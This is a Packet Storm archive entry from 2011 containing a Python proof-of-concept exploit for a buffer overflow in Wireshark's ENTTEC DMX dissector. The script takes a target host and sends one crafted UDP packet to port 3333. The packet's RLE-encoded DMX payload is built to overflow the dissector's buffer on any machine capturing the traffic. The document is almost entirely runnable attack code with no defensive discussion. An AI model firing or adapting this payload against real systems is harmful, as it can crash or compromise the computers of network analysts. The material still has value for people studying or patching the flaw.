Wireshark ENTTEC DMX Data RLE Buffer Overflow

2011-01-03T00:00:00
ID PACKETSTORM:97205
Type packetstorm
Reporter non-customers
Modified 2011-01-03T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
  
# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC  
# by non-customers crew in 2010  
# http://rock-madrid.com/  
  
import socket, sys  
  
try:  
host = sys.argv[1]  
except:  
print "usage: " + sys.argv[0] + " <host>"  
sys.exit(2)  
  
port = 3333  
addr = (host, port)  
  
data = "ESDD\x10\x20\x04"  
data += "\x00\x0c"  
data += "\xfe\xff\x41"  
data += "\xfe\xff\x42"  
data += "\xfe\xff\x43"  
data += "\xfe\xff\x44"  
  
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
try:  
udps.sendto(data, addr)  
except:  
print "can't lookup host"  
sys.exit(1)  
  
udps.close()  
sys.exit(0)  
  
`